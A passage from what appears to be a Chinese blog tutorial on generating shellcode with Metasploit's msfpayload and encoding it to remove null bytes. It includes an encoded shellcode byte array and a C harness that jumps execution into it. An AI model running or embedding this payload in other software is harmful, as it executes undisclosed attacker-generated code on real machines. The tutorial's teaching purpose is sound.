使用msfpayload生成shellcode

先查看下帮助


使用-l参数配合grep查看可以用的payloads

查询payload的必填参数信息(msfpayload payload_name o)

用键值对的方式传递参数值,并选择shellcode的导出格式(可以仔细看下-h的帮助提示信息)

我们发现这个shellcode里面存在很多\x00这个在字符串拷贝的时候会被截断,所以我们需要通过编码的方式去掉这些\x00


然后测试下shellcode是否能正常使用,测试代码如下

#include <stdio.h>

unsigned char buf[] = 
"\xe8\xff\xff\xff\xff\xc0\x59\x6a\x05\x5e\x29\xf1\x81\xe9\xad"
"\xff\xff\xff\x89\xc8\x2d\xfe\xff\xff\xff\xbf\xcc\xb5\xb7\x27"
"\x81\xc7\xd1\x49\x48\xd8\xf7\xd7\xff\x30\x5b\xc1\xe3\x10\xc1"
"\xeb\x10\x8d\x40\x02\x0f\xb7\x11\x89\xd6\x09\xde\x21\xda\xf7"
"\xd2\x21\xf2\x66\x52\x66\x8f\x01\x81\xe9\xfe\xff\xff\xff\x4f"
"\x85\xff\x0f\x85\xd3\xff\xff\xff\xe2\xa9\x1e\x41\x97\x41\x97"
"\x41\xf7\xc8\x12\xf9\xc0\x9d\x4b\xcf\x7b\x44\x29\x48\xa2\x1a"
"\xb6\x91\xc4\xb9\xcb\x0e\x81\x28\xb0\xd7\x81\x17\x2d\x2b\x4c"
"\x57\x4e\x7b\x6e\xba\xa1\xb7\xa0\x70\x42\x80\x10\xd7\x9b\x85"
"\x8b\x0e\xc9\x32\xc8\xe2\x43\xa2\x3b\x27\xfb\x53\xb1\x52\x61"
"\x02\xea\x4a\xf2\xc1\xaa\xe1\xab\x32\x48\x0e\x01\x85\x35\x0e"
"\x34\xd8\x05\x27\x34\xe7\x98\x26\x57\x2b\x56\xec\x6e\x0c\x1b"
"\xf8\x18\x85\xe0\xbe\x9d\x9a\xe8\x78\xb0\xf3\xe8\xd7\xe9\x04"
"\x8f\x8f\x83\xc4\x08\x9c\x14\x9d\xc7\x16\xc3\x9d\xc2\x4d\x4b"
"\x09\x6f\x2d\x34\x76\x55\x2f\x0f\x7e\xf0\x9e\xa8\xc1\xf2\x4a"
"\xe0\xa1\x66\xfc\x0c\xfd\x81\x78\x38\x78\x38\x78\x68\x10\x59"
"\x9b\x36\x1c\xc9\xc9\x72\x37\x7c\x05\x96\x6d\x30\xf8\x8d\x65"
"\x72\xb0\x4e\xb6\x32\xbc\xb2\x47\x52\x32\x57\x89\x10\x9a\x62"
"\xf5\x08\xf5\x5b\x0a\x8e\x69\xef\x05\x8c\x05";

void main()
{
	__asm
	{
		lea eax,buf
		push eax
		ret
	}
}

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值